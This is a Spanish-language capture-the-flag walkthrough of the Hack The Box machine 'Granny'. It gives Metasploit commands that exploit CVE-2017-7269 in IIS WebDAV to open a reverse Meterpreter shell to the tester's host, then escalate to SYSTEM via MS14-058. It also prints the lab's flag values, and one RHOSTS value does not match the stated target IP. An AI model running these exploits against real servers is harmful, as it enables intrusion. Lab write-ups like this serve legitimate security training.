Hack The Box Easy Target IP: 10.129.95.234

Máquina Granny

Resolución paso a paso de la máquina Granny de Hack The Box. Identificamos un servidor web IIS 6.0 desactualizado con WebDAV habilitado y directorios de FrontPage. Explotamos la vulnerabilidad de desbordamiento de búfer CVE-2017-7269 para obtener acceso inicial. Tras estabilizar la sesión mediante la migración de procesos, escalamos privilegios a SYSTEM abusando del exploit de kernel local MS14-058 (TrackPopupMenu).

#Windows#IIS#WebDAV#CVE-2017-7269#Metasploit#Meterpreter#MS14-058#Privilege Escalation#Migration

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de los puertos y servicios expuestos de la máquina objetivo (IP del Lab: 10.129.95.234) para identificar posibles vías de intrusión.

Escaneo Completo de Nmap

Ejecutamos un escaneo de puertos TCP completo (-p-), identificando las versiones de los servicios (-sV) y aplicando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.95.234
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.95.234

Resultados Clave de Nmap

El escaneo revela 1 puerto abierto principal:

  • Puerto 80 (HTTP): Servidor web Microsoft IIS httpd 6.0 con la extensión WebDAV habilitada y métodos potencialmente peligrosos activos (como PUT, MOVE, COPY, DELETE).
  • Sistema Operativo: Windows Server 2003.
Escaneo de WebDAV con Nmap
Scripts de Nmap confirmando la configuración de WebDAV y los métodos HTTP permitidos

Fase 2: Enumeración de Servicios Web (Puerto 80)

1. Fuzzing de Directorios con Gobuster

Realizamos fuerza bruta de directorios en el sitio web para buscar páginas u opciones ocultas utilizando gobuster y la lista de palabras common.txt:

gobuster dir -e -u http://10.129.95.234 -w /usr/share/wordlists/dirb/common.txt
Fuzzing de directorios con Gobuster
Descubrimiento de directorios del sistema de extensiones FrontPage de Microsoft

El escaneo de directorios revela rutas características de las Microsoft FrontPage Server Extensions como /_vti_bin/, _vti_bin/_vti_aut/author.dll y _vti_bin/shtml.dll. Esto nos confirma que el servidor web tiene una arquitectura muy antigua e integrada de IIS 6.0.

2. Identificación del Vector de Ataque (CVE-2017-7269)

Investigamos vulnerabilidades conocidas en servidores web Microsoft IIS 6.0 que tengan activo WebDAV.

Vulnerabilidad IIS 6.0 WebDAV
CVE-2017-7269: Vulnerabilidad crítica de ejecución remota de código en IIS 6.0 WebDAV

Encontramos la vulnerabilidad CVE-2017-7269, un desbordamiento de búfer en la función ScStoragePathFromUrl del servicio WebDAV de IIS 6.0. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario enviando una petición HTTP PROPFIND especialmente diseñada con una cabecera extremadamente larga.


Fase 3: Intrusión (Acceso Inicial)

1. Explotación de IIS WebDAV en Metasploit

Iniciamos Metasploit y buscamos el exploit correspondiente a la vulnerabilidad detectada:

msf > search CVE-2017-7269
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
show options
Carga del exploit WebDAV
Selección y configuración del exploit de desbordamiento WebDAV

Configuramos la IP de la máquina víctima (Lab: 10.129.95.234) y nuestra IP de Kali (LHOST=10.10.15.148):

set RHOSTS 10.129.27.35
set LHOST tun0
exploit
Acceso inicial y error de getuid
Recepción de la sesión inicial de Meterpreter y fallo de getuid por restricciones del proceso

El exploit funciona correctamente y abre una sesión de Meterpreter. Sin embargo, observamos un problema crítico: al ejecutar getuid en el prompt, obtenemos un mensaje de Access is denied.

Esto sucede porque la shell inicial se ejecuta dentro del proceso restringido y enjaulado rundll32.exe (creado por el exploit del servidor web), el cual no tiene los privilegios suficientes para consultar datos del sistema o realizar tareas de administración básicas.


Fase 4: Estabilización de Sesión (Migración de Procesos)

Para salir del entorno restringido del proceso inyectado, realizamos un listado de los procesos del sistema (ps) e intentamos migrar a un proceso del sistema más estable y que corra bajo la cuenta de servicio de red estándar:

ps
migrate 1888
Migración de procesos en Meterpreter
Migración exitosa al proceso wmiprvse.exe para estabilizar la sesión

Intentamos migrar al proceso del servicio web de IIS w3wp.exe (PID 584) pero falla por privilegios insuficientes. Posteriormente, migramos con éxito al proceso wmiprvse.exe (PID 1888), el cual corre bajo la cuenta NT AUTHORITY\NETWORK SERVICE. Al migrar a este proceso, logramos estabilizar la sesión de Meterpreter y ahora getuid responde correctamente con nuestra identidad actual.


Fase 5: Escalada de Privilegios a SYSTEM

1. Búsqueda de Exploits Locales

Con una sesión de Meterpreter estable en el proceso wmiprvse.exe, procedemos a ejecutar el sugeridor de exploits locales de Metasploit para encontrar un vector adecuado de elevación de privilegios:

use post/multi/recon/local_exploit_suggester
set SESSION 2
run
Resultados del local_exploit_suggester
Listado de exploits locales sugeridos para escalar privilegios

El sugeridor de exploits nos devuelve varias opciones viables.

2. Selección del Exploit Local

Para elegir el exploit correcto, realizamos varios descartes técnicos:

  1. Fallo de MS10-015 (Kitrap0d): Aunque aparece sugerido, al intentar ejecutarlo contra la sesión 2, este exploit falla devolviendo Access is denied:
    Fallo de Kitrap0d
    Intento fallido de explotar MS10-015 debido a restricciones de seguridad en la cuenta NETWORK SERVICE
    Esto ocurre porque Kitrap0d requiere que la cuenta que lo ejecute tenga ciertos privilegios de impersonación que no se encuentran disponibles o están restringidos en la sesión actual de la máquina.
  2. Selección de MS14-058 (TrackPopupMenu): Elegimos la vulnerabilidad MS14-058 (CVE-2014-4113). Se trata de un fallo de kernel en la forma en que Windows gestiona el objeto popup de menú (TrackPopupMenu), permitiendo ejecutar código con privilegios elevados. Este exploit destaca por ser altamente estable en sistemas antiguos como Windows Server 2003 y no requiere privilegios locales previos elevados para funcionar.

3. Explotación de MS14-058

Cargamos y configuramos el exploit indicando nuestra sesión estabilizada (SESSION 2) y la IP atacante de Kali (LHOST=10.10.15.148):

use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 2
set LHOST 10.10.15.148
run
Explotación exitosa de MS14-058
Metasploit inyecta la DLL del exploit y abre una sesión Meterpreter como SYSTEM

El exploit se ejecuta con éxito e inyecta una nueva sesión de Meterpreter. Ejecutamos getuid y verificamos que nos hemos convertido en NT AUTHORITY\SYSTEM (máximos privilegios del sistema operativo).


Fase 6: Obtención de Flags

En entornos de Windows Server 2003, los directorios personales de los usuarios se encuentran ubicados en la ruta clásica C:\Documents and Settings.

Lectura de flags
Obtención y visualización de user.txt y root.txt en la consola de SYSTEM

Flag de Usuario (user.txt)

Nos desplazamos a la carpeta del perfil del usuario local Lakis y leemos su flag:

cd "C:\Documents and Settings"
cd Lakis/Desktop
cat user.txt
  • Flag de Usuario: 700c5dc163014e22b3e408f8703f67d1

Flag de Administrador (root.txt)

Nos movemos al perfil del Administrador del sistema para leer la flag final de control total:

cd "C:\Documents and Settings\Administrator\Desktop"
cat root.txt
  • Flag de Root: aa4beed1c0584445ab463a6747bd06e9

Fuentes y Referencias